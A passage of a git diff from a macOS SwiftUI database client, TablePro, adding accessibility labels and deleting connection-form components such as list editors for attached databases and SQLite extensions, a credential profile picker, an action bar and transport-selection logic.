model.highlightedType { commit(type) } } .keyboardShortcut(.defaultAction) .buttonStyle(.borderedProminent) - .disabled(model.highlightedType == nil) + .disabled(!canCommit) } .padding(20) } @@ -178,6 +215,7 @@ internal struct DatabaseTypeChooserRow: View { if isCurrent { Image(systemName: "checkmark") .selectionAwareTint(Color.accentColor) + .accessibilityLabel(Text("Current type")) } if shouldShowNotInstalledBadge { @@ -186,6 +224,7 @@ internal struct DatabaseTypeChooserRow: View { .foregroundStyle(.secondary) } } + .accessibilityElement(children: .combine) } private var shouldShowNotInstalledBadge: Bool { diff --git a/apple/TablePro/Views/ConnectionForm/Components/AttachedDatabaseListEditor.swift b/apple/TablePro/Views/ConnectionForm/Components/AttachedDatabaseListEditor.swift deleted file mode 100644 index 89a893ff1c..0000000000 --- a/apple/TablePro/Views/ConnectionForm/Components/AttachedDatabaseListEditor.swift +++ /dev/null @@ -1,184 +0,0 @@ -// -// AttachedDatabaseListEditor.swift -// TablePro -// - -import AppKit -import SwiftUI - -// Built like the Extensions list below it, so the two lists in Options behave the same. -struct AttachedDatabaseListEditor: View { - @Binding var value: String - let databaseType: DatabaseType - - @State private var model = AttachedDatabaseListModel(encoded: "") - @State private var selection: Set = [] - - var body: some View { - VStack(alignment: .leading, spacing: 6) { - list - if model.isUnreadable { - Label( - String(localized: "The saved list could not be read. Adding a database replaces it."), - systemImage: "exclamationmark.triangle.fill" - ) - .font(.caption) - .foregroundStyle(.secondary) - } - } - .onAppear { reload() } - .onChange(of: value) { _ in reload() } - } - - private var list: some View { - List(selection: $selection) { - ForEach(model.rows) { row in - AttachedDatabaseRowView( - name: nameBinding(for: row.id), - path: pathBinding(for: row.id), - onMoveUp: { move(row.id, by: -1) }, - onMoveDown: { move(row.id, by: 1) } - ) - .tag(row.id) - } - .onMove { source, destination in - model.move(fromOffsets: source, toOffset: destination) - commit() - } - } - .listStyle(.bordered(alternatesRowBackgrounds: false)) - .frame(height: listHeight) - .onDeleteCommand { removeSelection() } - .overlay { - if model.rows.isEmpty { - Text("No Attached Databases") - .foregroundStyle(.secondary) - .padding(.bottom, ListBarMetrics.height) - } - } - .listBar { - AddRemoveControlGroup( - addLabel: String(localized: "Attach Database…"), - removeLabel: String(localized: "Remove Attached Database"), - canRemove: !selection.isEmpty, - addIdentifier: "connection-attached-databases-add", - removeIdentifier: "connection-attached-databases-remove", - onAdd: { chooseFiles() }, - onRemove: { removeSelection() } - ) - } - } - - private let rowHeight: CGFloat = 26 - - private var listHeight: CGFloat { - // No cap: a List in a grouped Form never scrolls, so it shows every row and the Form scrolls. - let rows = CGFloat(max(model.rows.count, 2)) - return rows * rowHeight + ListBarMetrics.height + 8 - } - - private func nameBinding(for id: UUID) -> Binding { - Binding( - get: { model.rows.first { $0.id == id }?.name ?? "" }, - set: { newValue in - model.setName(newValue, for: id) - commit() - } - ) - } - - private func pathBinding(for id: UUID) -> Binding { - Binding( - get: { model.rows.first { $0.id == id }?.path ?? "" }, - set: { newValue in - model.setPath(newValue, for: id) - commit() - } - ) - } - - private func reload() { - guard !model.matches(encoded: value) else { return } - model = AttachedDatabaseListModel(encoded: value) - selection = selection.filter { id in model.rows.contains { $0.id == id } } - } - - private func commit() { - let encoded = model.encoded - guard value != encoded else { return } - value = encoded - } - - private func move(_ id: UUID, by offset: Int) { - guard let index = model.rows.firstIndex(where: { $0.id == id }) else { return } - let target = index + offset - guard model.rows.indices.contains(target) else { return } - model.move(fromOffsets: IndexSet(integer: index), toOffset: offset > 0 ? target + 1 : target) - commit() - } - - private func removeSelection() { - guard !selection.isEmpty else { return } - selection = model.remove(selection) - commit() - } - - private func chooseFiles() { - guard let window = NSApp.keyWindow else { return } - let panel = NSOpenPanel() - let rule = DatabaseFileBrowseRule(type: databaseType, extensions: PluginManager.shared.fileExtensions(for: databaseType)) - let filter = PanelEnableFilter(isEnabled: rule.isEnabled) - panel.title = String(localized: "Attach Database") - panel.prompt = String(localized: "Attach") - panel.message = String(localized: "Choose the database files to attach each time this connection opens.") - panel.allowsMultipleSelection = true - panel.canChooseDirectories = false - panel.delegate = filter - - panel.beginSheetModal(for: window) { response in - withExtendedLifetime(filter) { - guard response == .OK else { return } - selection = model.add(paths: panel.urls.map { $0.path(percentEncoded: false) }) - commit() - } - } - } -} - -private struct AttachedDatabaseRowView: View { - @Binding var name: String - @Binding var path: String - let onMoveUp: () -> Void - let onMoveDown: () -> Void - - var body: some View { - HStack(spacing: 6) { - issueIndicator - TextField(String(localized: "Name"), text: $name, prompt: Text(String(localized: "Name"))) - .labelsHidden() - .frame(width: 120) - .help(String(localized: "The name a statement uses for this database, as in name.table.")) - TextField( - String(localized: "Database File"), - text: $path, - prompt: Text(verbatim: "/path/to/database.db") - ) - .labelsHidden() - } - .accessibilityElement(children: .contain) - .accessibilityActions { - Button(String(localized: "Move Up"), action: onMoveUp) - Button(String(localized: "Move Down"), action: onMoveDown) - } - } - - @ViewBuilder - private var issueIndicator: some View { - if let issue = AttachedDatabaseFileIssue.issue(forPath: path) { - Image(systemName: "exclamationmark.triangle.fill") - .foregroundStyle(.yellow) - .help(issue.message) - .accessibilityLabel(issue.message) - } - } -} diff --git a/apple/TablePro/Views/ConnectionForm/Components/ConnectionFormActionBar.swift b/apple/TablePro/Views/ConnectionForm/Components/ConnectionFormActionBar.swift deleted file mode 100644 index 3b360ffb03..0000000000 --- a/apple/TablePro/Views/ConnectionForm/Components/ConnectionFormActionBar.swift +++ /dev/null @@ -1,137 +0,0 @@ -// -// ConnectionFormActionBar.swift -// TablePro -// - -import AppKit -import SwiftUI - -/// The window's commit actions, and the reason they are unavailable. -/// -/// macOS puts the buttons that commit an editor window at the bottom trailing edge rather than in -/// the titlebar, and it leaves the leading edge for the status the buttons depend on. That pairing -/// is the point here: a disabled Save is only actionable next to the field it is waiting for. -struct ConnectionFormActionBar: View { - @ObservedObject var coordinator: ConnectionFormCoordinator - - // Read once per body: each read walks plugin field metadata, and the body runs on every Name keystroke. - var body: some View { - let issues = coordinator.validationIssues - let canCommit = issues.isEmpty - - return HStack(spacing: 12) { - deleteButton - if issues.isEmpty { - testWarningMessage - } else { - validationMessage(issues) - } - Spacer(minLength: 12) - TestConnectionStatusButton(coordinator: coordinator) - Button(String(localized: "Cancel")) { - coordinator.cancel() - } - .keyboardShortcut(.cancelAction) - if coordinator.isNew { - Button(String(localized: "Save")) { - endEditing() - coordinator.save() - } - .disabled(!canCommit) - } - Button(defaultActionTitle) { - endEditing() - coordinator.commit() - } - .keyboardShortcut(.defaultAction) - .buttonStyle(.borderedProminent) - .disabled(!canCommit) - } - .padding(.horizontal, 20) - .padding(.vertical, 12) - } - - // A click does not end editing, so a tag still being typed in the token field is committed first. - private func endEditing() { - NSApp.keyWindow?.makeFirstResponder(nil) - } - - /// Restores the Delete the editor shipped through 0.38.0. - /// - /// It sat at `ToolbarItemPlacement.destructiveAction` until #995 rebuilt the form and dropped - /// the button while porting its body into `ConnectionFormCoordinator.deleteCurrent()`, which - /// has had no caller since. The window has no toolbar now, so it takes the bottom bar's leading - /// edge, which is where `SSHProfileEditorView` already puts the same action. - @ViewBuilder - private var deleteButton: some View { - if !coordinator.isNew { - Button(String(localized: "Delete"), role: .destructive) { - confirmDelete() - } - .accessibilityIdentifier("connection-form-delete") - } - } - - private func confirmDelete() { - Task { - let confirmed = await AlertHelper.confirmDestructive( - title: String(localized: "Delete Connection"), - message: String(localized: "Are you sure you want to delete this connection? This cannot be undone."), - confirmButton: String(localized: "Delete"), - window: NSApp.keyWindow - ) - if confirmed { - coordinator.deleteCurrent() - } - } - } - - private var defaultActionTitle: String { - coordinator.isNew - ? String(localized: "Save & Connect") - : String(localized: "Save") - } - - /// Names the tab as well as the issue whenever the issue is on a tab the user is not looking - /// at, so the message says where to go and not only what is wrong. - @ViewBuilder - private func validationMessage(_ issues: [String]) -> some View { - if let first = issues.first { - Label( - messageText(first), - systemImage: "exclamationmark.triangle.fill" - ) - .font(.callout) - .foregroundStyle(.secondary) - .lineLimit(1) - .truncationMode(.tail) - .help(issues.joined(separator: "\n")) - .accessibilityElement(children: .combine) - .accessibilityIdentifier("connection-form-validation") - } - } - - /// The warning the last test's login brought back, in the slot a validation issue would take. Test is off - /// while there is an issue, so the two never compete when the result arrives. - @ViewBuilder - private var testWarningMessage: some View { - if let warning = coordinator.testResult?.warning { - Label(warning, systemImage: "exclamationmark.triangle.fill") - .font(.callout) - .foregroundStyle(.secondary) - .lineLimit(1) - .truncationMode(.tail) - .textSelection(.enabled) - .help(warning) - .accessibilityElement(children: .combine) - .accessibilityIdentifier("connection-form-test-warning") - } - } - - private func messageText(_ issue: String) -> String { - guard let tab = coordinator.firstTabWithIssue, tab != coordinator.selectedTab else { - return issue - } - return String(format: String(localized: "%1$@: %2$@"), tab.title, issue) - } -} diff --git a/apple/TablePro/Views/ConnectionForm/Components/CredentialProfilePicker.swift b/apple/TablePro/Views/ConnectionForm/Components/CredentialProfilePicker.swift deleted file mode 100644 index 69fa97b307..0000000000 --- a/apple/TablePro/Views/ConnectionForm/Components/CredentialProfilePicker.swift +++ /dev/null @@ -1,93 +0,0 @@ -// -// CredentialProfilePicker.swift -// TablePro -// - -import SwiftUI - -/// Picks the credentials a connection signs in with: its own, or a named profile. -/// -/// The inline item comes first so the menu is never empty and always has a useful default, which is -/// what a pop-up button is for. Managing the profiles is a separate surface rather than another -/// sheet on this window, so the same list serves every connection. -struct CredentialProfilePicker: View { - @ObservedObject var auth: AuthPaneViewModel - - var body: some View { - Picker(String(localized: "Credentials"), selection: $auth.credentialMode) { - Text(String(localized: "Enter Below")).tag(CredentialMode.inline) - ForEach(auth.credentialProfiles) { profile in - Text(profile.name).tag(CredentialMode.profile(id: profile.id)) - } - /// A selection with no matching tag renders as no selection at all, so a connection - /// pointing at a profile this Mac does not have would read as if nothing were chosen. - if auth.credentialProfileIsMissing { - Text(String(localized: "Missing Profile")).tag(auth.credentialMode) - } - } - .accessibilityIdentifier("connection-form-credential-profile") - - if auth.credentialProfileIsMissing { - NoticeLabel(String(localized: "This connection uses a credential profile that isn't on this Mac.")) - .font(.caption) - Button(String(localized: "Enter Credentials Here")) { - auth.credentialMode = .inline - } - .controlSize(.small) - .accessibilityIdentifier("credential-profile-relink") - } else if let profile = auth.selectedCredentialProfile { - LabeledContent(String(localized: "Username"), value: displayUsername(profile)) - LabeledContent(String(localized: "Password"), value: profile.passwordMode.displayName) - if case .source(let source) = profile.passwordMode, let coordinator = auth.coordinator?.value { - PasswordSourceTestView( - source: source, - context: { coordinator.passwordSourceContext() }, - leaseOwner: { profile.id }, - refusal: { - CredentialProfileStorage.shared.storeIsTrusted - ? nil : PasswordSourceResolver.ResolutionError.profileStoreNotTrusted - } - ) - } - } - - HStack(spacing: 12) { - Button(String(localized: "Manage Profiles…")) { - WindowOpener.shared.openSettings(tab: .profiles) - } - .accessibilityIdentifier("manage-credential-profiles") - if !auth.usesCredentialProfile, auth.hasPromotableCredentials { - Button(String(localized: "Save These as a Profile…")) { - auth.isSavingCredentialsAsProfile = true - } - .accessibilityIdentifier("save-credentials-as-profile") - } - } - .controlSize(.small) - /// Managing profiles happens in a different window, and this form can save afterwards. - /// Without this, deleting the selected profile in Settings converts the connection to - /// inline and copies its password across, and then a Save here writes the dead profile id - /// back and deletes that copy. - .onReceive(NotificationCenter.default.publisher(for: .credentialProfilesDidChange)) { _ in - auth.reconcileCredentialProfiles() - } - .sheet(isPresented: $auth.isSavingCredentialsAsProfile) { - CredentialProfileEditorSheet( - existingProfile: auth.profileFromCurrentCredentials( - sourceStoreIsTrusted: auth.coordinator?.value?.storage.storeIsTrusted ?? false - ), - initialPassword: auth.password, - initialDatabaseType: auth.coordinator?.value?.network.type, - onSave: { saved in - auth.loadCredentialProfiles() - auth.credentialMode = .profile(id: saved.id) - } - ) - } - } - - private func displayUsername(_ profile: CredentialProfile) -> String { - let trimmed = profile.username.trimmingCharacters(in: .whitespaces) - return trimmed.isEmpty ? String(localized: "None") : trimmed - } -} diff --git a/apple/TablePro/Views/ConnectionForm/Components/LoadableExtensionListEditor.swift b/apple/TablePro/Views/ConnectionForm/Components/LoadableExtensionListEditor.swift deleted file mode 100644 index b7e97dd830..0000000000 --- a/apple/TablePro/Views/ConnectionForm/Components/LoadableExtensionListEditor.swift +++ /dev/null @@ -1,213 +0,0 @@ -// -// LoadableExtensionListEditor.swift -// TablePro -// - -import AppKit -import SwiftUI -import UniformTypeIdentifiers - -// Add opens a file panel, the only way a row is created; a row's path and entry point are then edited in place. -struct LoadableExtensionListEditor: View { - @Binding var value: String - - @State private var model = LoadableExtensionListModel(encoded: "") - @State private var selection: Set = [] - - var body: some View { - VStack(alignment: .leading, spacing: 6) { - list - if model.isUnreadable { - Label( - String(localized: "The saved list could not be read. Adding an extension replaces it."), - systemImage: "exclamationmark.triangle.fill" - ) - .font(.caption) - .foregroundStyle(.secondary) - } - } - .onAppear { reload() } - .onChange(of: value) { _ in reload() } - } - - private var list: some View { - List(selection: $selection) { - ForEach(model.rows) { row in - LoadableExtensionRowView( - path: pathBinding(for: row.id), - entryPoint: entryPointBinding(for: row.id), - onMoveUp: { move(row.id, by: -1) }, - onMoveDown: { move(row.id, by: 1) } - ) - .tag(row.id) - } - .onMove { source, destination in - model.move(fromOffsets: source, toOffset: destination) - commit() - } - } - .listStyle(.bordered(alternatesRowBackgrounds: false)) - .frame(height: listHeight) - .onDeleteCommand { removeSelection() } - .overlay { - if model.rows.isEmpty { - Text("No Extensions") - .foregroundStyle(.secondary) - .padding(.bottom, ListBarMetrics.height) - } - } - .listBar { - AddRemoveControlGroup( - addLabel: String(localized: "Add Extension…"), - removeLabel: String(localized: "Remove Extension"), - canRemove: !selection.isEmpty, - addIdentifier: "connection-extensions-add", - removeIdentifier: "connection-extensions-remove", - onAdd: { chooseFiles() }, - onRemove: { removeSelection() } - ) - } - } - - private let rowHeight: CGFloat = 26 - - private var listHeight: CGFloat { - // No cap: a List in a grouped Form never scrolls, so it shows every row and the Form scrolls. - let rows = CGFloat(max(model.rows.count, 2)) - return rows * rowHeight + ListBarMetrics.height + 8 - } - - private func pathBinding(for id: UUID) -> Binding { - Binding( - get: { model.rows.first { $0.id == id }?.path ?? "" }, - set: { newValue in - model.setPath(newValue, for: id) - commit() - } - ) - } - - private func entryPointBinding(for id: UUID) -> Binding { - Binding( - get: { model.rows.first { $0.id == id }?.entryPoint ?? "" }, - set: { newValue in - model.setEntryPoint(newValue, for: id) - commit() - } - ) - } - - private func reload() { - guard !model.matches(encoded: value) else { return } - model = LoadableExtensionListModel(encoded: value) - selection = selection.filter { id in model.rows.contains { $0.id == id } } - } - - private func commit() { - let encoded = model.encoded - guard value != encoded else { return } - value = encoded - } - - private func move(_ id: UUID, by offset: Int) { - guard let index = model.rows.firstIndex(where: { $0.id == id }) else { return } - let target = index + offset - guard model.rows.indices.contains(target) else { return } - model.move(fromOffsets: IndexSet(integer: index), toOffset: offset > 0 ? target + 1 : target) - commit() - } - - private func removeSelection() { - guard !selection.isEmpty else { return } - selection = model.remove(selection) - commit() - } - - private func chooseFiles() { - guard let window = NSApp.keyWindow else { return } - let panel = NSOpenPanel() - let validator = LoadableExtensionPanelValidator() - panel.title = String(localized: "Add Extension") - panel.prompt = String(localized: "Add") - panel.message = String(localized: "Choose the SQLite extension libraries to load when this connection opens.") - panel.allowsMultipleSelection = true - panel.canChooseDirectories = false - panel.resolvesAliases = false - panel.allowedContentTypes = LoadableExtensionPanelValidator.contentTypes - panel.delegate = validator - - panel.beginSheetModal(for: window) { response in - withExtendedLifetime(validator) { - guard response == .OK else { return } - selection = model.add(paths: panel.urls.map { $0.path(percentEncoded: false) }) - commit() - } - } - } -} - -private struct LoadableExtensionRowView: View { - @Binding var path: String - @Binding var entryPoint: String - let onMoveUp: () -> Void - let onMoveDown: () -> Void - - var body: some View { - HStack(spacing: 6) { - issueIndicator - TextField( - String(localized: "Extension File"), - text: $path, - prompt: Text(verbatim: "/opt/homebrew/lib/mod_spatialite.dylib") - ) - .labelsHidden() - TextField( - String(localized: "Entry Point"), - text: $entryPoint, - prompt: Text(String(localized: "Default entry point")) - ) - .labelsHidden() - .frame(width: 170) - .help(String(localized: "The initialization function to call. Leave empty to use the one SQLite derives from the file name.")) - } - .accessibilityElement(children: .contain) - .accessibilityActions { - Button(String(localized: "Move Up"), action: onMoveUp) - Button(String(localized: "Move Down"), action: onMoveDown) - } - } - - @ViewBuilder - private var issueIndicator: some View { - if let issue = LoadableExtensionFileIssue.issue(forPath: path) { - Image(systemName: "exclamationmark.triangle.fill") - .foregroundStyle(.yellow) - .help(issue.message) - .accessibilityLabel(issue.message) - } - } -} - -// The panel's content types only dim other files, and .so has no type of its own, so the choice is checked here too. -private final class LoadableExtensionPanelValidator: NSObject, NSOpenSavePanelDelegate { - static let contentTypes: [UTType] = [ - UTType(filenameExtension: "dylib"), - UTType(filenameExtension: "so"), - UTType(filenameExtension: "bundle") - ] - .compactMap { $0 } - - func panel(_ sender: Any, validate url: URL) throws { - guard !MachOFile.isMachO(atPath: url.path(percentEncoded: false)) else { return } - throw NSError( - domain: NSCocoaErrorDomain, - code: NSFileReadCorruptFileError, - userInfo: [ - NSLocalizedDescriptionKey: String( - format: String(localized: "\"%@\" is not a library."), - url.lastPathComponent - ) - ] - ) - } -} diff --git a/apple/TablePro/Views/ConnectionForm/Components/StartupCommandsEditor.swift b/apple/TablePro/Views/ConnectionForm/Components/StartupCommandsEditor.swift deleted file mode 100644 index b66c796051..0000000000 --- a/apple/TablePro/Views/ConnectionForm/Components/StartupCommandsEditor.swift +++ /dev/null @@ -1,29 +0,0 @@ -// -// StartupCommandsEditor.swift -// TablePro -// - -import AppKit -import SwiftUI - -/// The multi-line text field the connection form uses for startup SQL, the pre-connect script and -/// the AI rules. -/// -/// `movesFocusOnTab` is what makes it a form field rather than a code editor: Tab leaves for the -/// next control instead of inserting a tab character, which is how macOS expects a text view -/// inside a form to behave. Startup Commands and Pre-Connect Script trapped Tab; AI Rules did not. -struct StartupCommandsEditor: View { - @Binding var text: String - /// `.code` for SQL and shell, which wear the editor's colors; prose stays `.plain`. - let style: TextValueEditor.Style - - var body: some View { - TextValueEditor( - text: $text, - font: .monospacedSystemFont(ofSize: NSFont.systemFontSize, weight: .regular), - borderType: .bezelBorder, - movesFocusOnTab: true, - style: style - ) - } -} diff --git a/apple/TablePro/Views/ConnectionForm/Components/TestConnectionStatusButton.swift b/apple/TablePro/Views/ConnectionForm/Components/TestConnectionStatusButton.swift deleted file mode 100644 index fadbab8ee4..0000000000 --- a/apple/TablePro/Views/ConnectionForm/Components/TestConnectionStatusButton.swift +++ /dev/null @@ -1,56 +0,0 @@ -// -// TestConnectionStatusButton.swift -// TablePro -// - -import SwiftUI - -struct TestConnectionStatusButton: View { - @ObservedObject var coordinator: ConnectionFormCoordinator - - var body: some View { - Button { - coordinator.test() - } label: { - HStack(spacing: 6) { - statusIcon - Text(coordinator.testSucceeded - ? String(localized: "Connected") - : String(localized: "Test Connection")) - } - } - .disabled(coordinator.isTesting || !coordinator.isFormValid) - .help(helpText) - .accessibilityLabel(helpText) - } - - private var helpText: String { - if coordinator.isTesting { - return String(localized: "Testing connection") - } - if coordinator.testResult?.warning != nil { - return String(localized: "Connected with a warning") - } - if coordinator.testSucceeded { - return String(localized: "Connection succeeded") - } - return String(localized: "Test the current connection settings") - } - - @ViewBuilder - private var statusIcon: some View { - if coordinator.isTesting { - ProgressView() - .controlSize(.small) - } else if coordinator.testResult?.warning != nil { - Image(systemName: "exclamationmark.triangle.fill") - .foregroundStyle(.yellow) - } else if coordinator.testSucceeded { - Image(systemName: "checkmark.circle.fill") - .foregroundStyle(.green) - } else { - Image(systemName: "antenna.radiowaves.left.and.right") - .foregroundStyle(.secondary) - } - } -} diff --git a/apple/TablePro/Views/ConnectionForm/ConnectionFormContentView.swift b/apple/TablePro/Views/ConnectionForm/ConnectionFormContentView.swift deleted file mode 100644 index f948963c27..0000000000 --- a/apple/TablePro/Views/ConnectionForm/ConnectionFormContentView.swift +++ /dev/null @@ -1,218 +0,0 @@ -// -// ConnectionFormContentView.swift -// TablePro -// - -import AppKit -import Combine -import SwiftUI - -/// The whole connection editor as one scrolling grouped `Form` over the commit bar. -/// -/// A connection is a single object, so it reads top to bottom rather than through a sidebar of -/// peer sections (HIG: a tab bar, or one grouped form, before a source list). The rarely-set -/// options sit behind one disclosure so a plain connection shows only identity, where it lives, -/// who signs in, how it travels, and how it looks. -struct ConnectionFormContentView: View { - @ObservedObject var coordinator: ConnectionFormCoordinator - @FocusState private var nameFocused: Bool - @State private var showsNetwork = false - @State private var showsAppearance = false - @State private var showsAdvanced = false - - var body: some View { - Group { - if coordinator.isRecordMissing { - recordMissingView - } else { - editorBody - } - } - .sheet(isPresented: $coordinator.isChoosingType) { - DatabaseTypeChooserSheet( - initialType: coordinator.network.type, - onSelected: { coordinator.changeType(to: $0) }, - onCancel: { coordinator.isChoosingType = false } - ) - } - .sheet(item: $coordinator.pluginDiagnostic) { item in - PluginDiagnosticSheet(item: item) { - coordinator.pluginDiagnostic = nil - } - } - .pluginInstallPrompt(for: $coordinator.pluginInstallConnection, type: \.type) { _ in - coordinator.test() - } - .alert( - String(localized: "Save Failed"), - isPresented: Binding( - get: { coordinator.saveError != nil }, - set: { if !$0 { coordinator.saveError = nil } } - ), - presenting: coordinator.saveError - ) { _ in - Button(String(localized: "OK"), role: .cancel) { - coordinator.saveError = nil - } - } message: { error in - Text(error) - } - } - - private var editorBody: some View { - VStack(spacing: 0) { - Form { - GeneralPaneView(coordinator: coordinator, nameFocused: $nameFocused) - - if coordinator.showsNetworkFacet { - disclosure( - String(localized: "Network"), - identifier: "connection-form-network-disclosure", - summary: coordinator.networkSummary, - isExpanded: $showsNetwork - ) - if showsNetwork { - NetworkPaneView(coordinator: coordinator) - } - } - - disclosure( - String(localized: "Appearance"), - identifier: "connection-form-appearance-disclosure", - summary: nil, - isExpanded: $showsAppearance - ) - if showsAppearance { - AppearancePaneView(coordinator: coordinator) - } - - disclosure( - String(localized: "Advanced Options"), - identifier: "connection-form-advanced-disclosure", - summary: nil, - isExpanded: $showsAdvanced - ) - if showsAdvanced { - OptionsPaneView(coordinator: coordinator) - } - } - .formStyle(.grouped) - .defaultFocus($nameFocused, true) - .task(id: coordinator.auth.pgpassLookup) { - coordinator.auth.updatePgpassStatus() - } - // Open the sections the connection already uses, so editing an SSH, TLS or customized - // connection never hides what is being edited behind a disclosure. - .onAppear { - if coordinator.networkIsConfigured || coordinator.networkHasIssue { showsNetwork = true } - if coordinator.appearanceIsCustomized { showsAppearance = true } - if coordinator.optionsHasIssue { showsAdvanced = true } - } - // A validation error inside a collapsed section would disable Save with the offending - // control hidden; reveal the section so the fix is always reachable. - .onChange(of: coordinator.networkHasIssue) { hasIssue in - if hasIssue { showsNetwork = true } - } - .onChange(of: coordinator.optionsHasIssue) { hasIssue in - if hasIssue { showsAdvanced = true } - } - .frame(maxWidth: .infinity, maxHeight: .infinity) - - Divider() - ConnectionFormActionBar(coordinator: coordinator) - } - } - - private var recordMissingView: some View { - VStack(spacing: 12) { - Image(systemName: "externaldrive.badge.questionmark") - .font(.system(size: 36)) - .foregroundStyle(.secondary) - Text(String(localized: "Connection Not Found")) - .font(.headline) - Text(String(localized: "This connection was deleted on another device or window.")) - .font(.subheadline) - .foregroundStyle(.secondary) - .multilineTextAlignment(.center) - Button(String(localized: "Close")) { - coordinator.cancel() - } - .keyboardShortcut(.defaultAction) - } - .padding(40) - .frame(maxWidth: .infinity, maxHeight: .infinity) - } - - /// One collapsible section header. The revealed rows render as the next sibling sections, the - /// way a grouped `Form` stacks cards, so the body passes the pane after the matching `if`. - @ViewBuilder - private func disclosure( - _ title: String, - identifier: String, - summary: String?, - isExpanded: Binding - ) -> some View { - Section { - Button { - withMotion(.snappy(duration: 0.2)) { isExpanded.wrappedValue.toggle() } - } label: { - HStack(spacing: 8) { - Text(title) - Spacer() - if let summary, !isExpanded.wrappedValue { - Text(summary) - .foregroundStyle(.secondary) - .lineLimit(1) - } - Image(systemName: "chevron.right") - .foregroundStyle(.secondary) - .rotationEffect(.degrees(isExpanded.wrappedValue ? 90 : 0)) - } - .contentShape(Rectangle()) - } - .buttonStyle(.plain) - .accessibilityIdentifier(identifier) - .accessibilityLabel(title) - .accessibilityValue(isExpanded.wrappedValue - ? String(localized: "Expanded") - : String(localized: "Collapsed")) - } - } -} - -/// Hosts the form and keeps the window title on the connection's type, which `Change…` can alter. -/// -/// `NSWindow(contentViewController:)` binds the window title to this controller's own, so nothing -/// writes `window.title` directly. -@MainActor -final class ConnectionFormContentViewController: NSHostingController { - private let coordinator: ConnectionFormCoordinator - private var titleObservations: [AnyCancellable] = [] - - init(coordinator: ConnectionFormCoordinator) { - self.coordinator = coordinator - super.init(rootView: ConnectionFormContentView(coordinator: coordinator)) - trackTitle() - } - - @available(*, unavailable) - @MainActor dynamic required init?(coder: NSCoder) { - fatalError("init(coder:) has not been implemented") - } - - private func trackTitle() { - title = windowTitle - titleObservations = [ - coordinator.onMainActorChange { [weak self] in - guard let self else { return } - self.title = self.windowTitle - }, - ] - } - - private var windowTitle: String { - coordinator.isNew - ? String(format: String(localized: "New %@ Connection"), coordinator.network.type.rawValue) - : String(format: String(localized: "Edit %@ Connection"), coordinator.network.type.rawValue) - } -} diff --git a/apple/TablePro/Views/ConnectionForm/ConnectionFormCoordinator+Extensions.swift b/apple/TablePro/Views/ConnectionForm/ConnectionFormCoordinator+Extensions.swift deleted file mode 100644 index 9557723310..0000000000 --- a/apple/TablePro/Views/ConnectionForm/ConnectionFormCoordinator+Extensions.swift +++ /dev/null @@ -1,31 +0,0 @@ -// -// ConnectionFormCoordinator+Extensions.swift -// TablePro -// - -import Foundation -import TableProPluginKit - -extension ConnectionFormCoordinator { - /// A list entry the person added or changed in this form was chosen on this Mac, so it is - /// approved with the save. Entries the connection already carried keep whatever approval they - /// had, which for an imported list is none. - func approveEditedExtensions(for connectionId: UUID) { - LoadableExtensionApprovalStore.shared.approve(advanced.editedExtensions, for: connectionId) - } - - /// Test Connection loads the extensions for real, so it clears the same approval a connect does. - /// The test runs under a throwaway id; approvals are recorded against the connection being edited - /// and lent to that id for the length of the test, and `cleanupTestSecrets` takes them back. - func authorizeExtensionsForTest(testConnectionId: UUID) async -> Bool { - let store = LoadableExtensionApprovalStore.shared - let ownerId = connectionId ?? testConnectionId - store.approve(advanced.editedExtensions, for: ownerId) - let owner = buildEdits().applied(to: DatabaseConnection(id: ownerId, name: "")) - guard await LoadableExtensionPrompt.confirmIfNeeded(for: owner, approvals: store) else { return false } - if ownerId != testConnectionId { - store.copyApprovals(from: ownerId, to: testConnectionId) - } - return true - } -} diff --git a/apple/TablePro/Views/ConnectionForm/ConnectionFormCoordinator+SafeMode.swift b/apple/TablePro/Views/ConnectionForm/ConnectionFormCoordinator+SafeMode.swift deleted file mode 100644 index d88f931b4e..0000000000 --- a/apple/TablePro/Views/ConnectionForm/ConnectionFormCoordinator+SafeMode.swift +++ /dev/null @@ -1,38 +0,0 @@ -// -// ConnectionFormCoordinator+SafeMode.swift -// TablePro -// - -import Foundation -import TableProSSHConfig - -@MainActor -extension ConnectionFormCoordinator { - var safeModeFloor: SafeModeFloor? { - SafeModeFloor.resolve( - isEngineReadOnly: services.pluginManager.isEngineReadOnly(for: network.type), - opensRemoteDatabaseFile: transport == .remoteFile && ssh.state.remoteFileAccess == .readOnlyCopy, - managedMinimum: ManagedPolicyResolver.minimumSafeModeLevel(policy: ManagedPolicyReader.shared) - ) - } - - // Picking the level already shown keeps the saved choice, which comes back once the floor lifts. - var effectiveSafeModeLevel: SafeModeLevel { - get { safeModeFloor?.raising(customization.safeModeLevel) ?? customization.safeModeLevel } - set { - guard newValue != effectiveSafeModeLevel else { return } - customization.safeModeLevel = newValue - } - } - - var isManualCommitAvailable: Bool { ManualCommit.isAvailable(for: network.type) } - - // Off where the engine can't hold, since a stored Manual Commit runs as automatic there. - var effectiveManualCommit: Bool { - get { isManualCommitAvailable && customization.commitMode == .manual } - set { - guard isManualCommitAvailable else { return } - customization.commitMode = newValue ? .manual : .automatic - } - } -} diff --git a/apple/TablePro/Views/ConnectionForm/ConnectionFormCoordinator+Transport.swift b/apple/TablePro/Views/ConnectionForm/ConnectionFormCoordinator+Transport.swift deleted file mode 100644 index 00e121a732..0000000000 --- a/apple/TablePro/Views/ConnectionForm/ConnectionFormCoordinator+Transport.swift +++ /dev/null @@ -1,166 +0,0 @@ -// -// ConnectionFormCoordinator+Transport.swift -// TablePro -// - -import Foundation -import TableProPluginKit - -/// The form's transport selection, in the same vocabulary the connect path reads. -/// -/// `DatabaseConnection.activeTunnelKind` answers `nil` whenever more than one transport is -/// enabled, and `DatabaseManager.activeTunnelManager` then opens a direct connection to the -/// database host, so a connection carrying two enabled transports silently bypasses both. The -/// form used to allow exactly that, warn about it in a banner, and leave Save enabled. Editing -/// one optional value instead of five booleans makes the state unrepresentable rather than -/// discouraged. -@MainActor -extension ConnectionFormCoordinator { - var transport: ConnectionTunnelKind? { - get { - if ssh.state.enabled { - return supportsRemoteDatabaseFile ? .remoteFile : .ssh - } - if cloudflareTunnel.state.enabled { return .cloudflare } - if cloudSQLProxy.state.enabled { return .cloudSQLProxy } - if socksProxy.state.enabled { return .socksProxy } - if tunnelCommand.state.enabled { return .tunnelCommand } - return nil - } - set { - let usesSSHServer = newValue == .ssh || newValue == .remoteFile - ssh.state.enabled = usesSSHServer - if newValue != .remoteFile { - ssh.state.remoteFilePath = "" - } - if newValue != .ssh { - /// Only a port forward has something to forward to, and the field lives in the SSH - /// sections, so a path left behind by another transport would be unreachable while - /// still dimming Host and Port and still being written by `network.write(into:)`. - 